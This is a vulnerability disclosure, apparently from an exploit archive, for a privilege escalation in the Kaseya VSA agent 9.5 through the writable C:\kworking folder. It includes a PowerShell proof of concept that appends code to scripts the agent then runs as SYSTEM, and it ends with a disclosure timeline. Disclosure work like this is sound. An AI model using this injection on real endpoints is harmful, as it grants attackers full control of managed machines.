Kaseya VSA agent 9.5 – Privilege Escalation
# Exploit Title: Kaseya VSA agent <= 9.5 privilege escalation # Google Dork: N/A # Date: 2-09-2019 # Exploit Author: NF # Vendor Homepage: https://www.kaseya.com/products/vsa/ # Software Link: https://www.kaseya.com/products/vsa/ # Version: <= 9.5 agentmon.exe # Tested on: Windows 10 # CVE : N/A ##Vulnerability## This is not a new issue as such but more of the same in line with <a href="https://www.securityfocus.com/archive/1/541884/30/300/threaded">CVE-2017-12410</a> found by Filip Palian. A a fix was put in place for the original CVE, however it was specific to binaries and not scripts. The root cause for both issues is allowing a low privileged group excessive permissions to a folder used by a elevated process. The Kaseya agent (agentmon.exe) runs as SYSTEM by default. The agent also has a default working folder @ C:\kworking\ It will pull scripts and binaries to this folder and execute them from disk from the controlling web application. By default the *Authenticated Users* group has all rights to this folder. Scripts are written to disk however they are not checked for integrity prior to execution. So a folder can be monitored for script files being dropped and then append malicious code prior to execution. ##Proof of concept## This PowerShell script will monitor the default working directory. When a ps1 script drops from a scheduled task or run from the VSA web application it will then append the command "Write-Host 'injected content'" which will run as SYSTEM. Change the Write-Host command to the code to be executed or update the script to target other script drops such as vb script. Note: To test you will need to sign up for a trial with VSA to have the ability to deploy an agent & schedule/run scripts <--script start--> $folder = 'c:\kworking' $filter = '*.ps1' $filesystem = New-Object IO.FileSystemWatcher $folder, $filter -Property @{IncludeSubdirectories = $false;NotifyFilter = [IO.NotifyFilters]'FileName, LastWrite'} Register-ObjectEvent $filesystem Created -SourceIdentifier FileCreated -Action { $path = $Event.SourceEventArgs.FullPath "`nWrite-Host 'injected content'" | Out-File -Append -FilePath $path -Encoding utf8 Unregister-Event FileCreated } <--script end--> ##Timeline## 16-06-2019 :: Issue found 18-06-2019 :: security@ emailed requesting steps to disclose 30-06-2019 :: CERT contacted due to non response of vendor from official email address 31-06-2019 :: CERT still unable to contact vendor 07-07-2019 :: CERT makes contact with vendor. Discover security@ address is not monitored by vendor 20-08-2019 :: Vendor confirms receipt of details 27-08-2019 :: Email sent indicating intention to disclose due to lack of response 02-09-2019 :: No response through CERT. Findings published |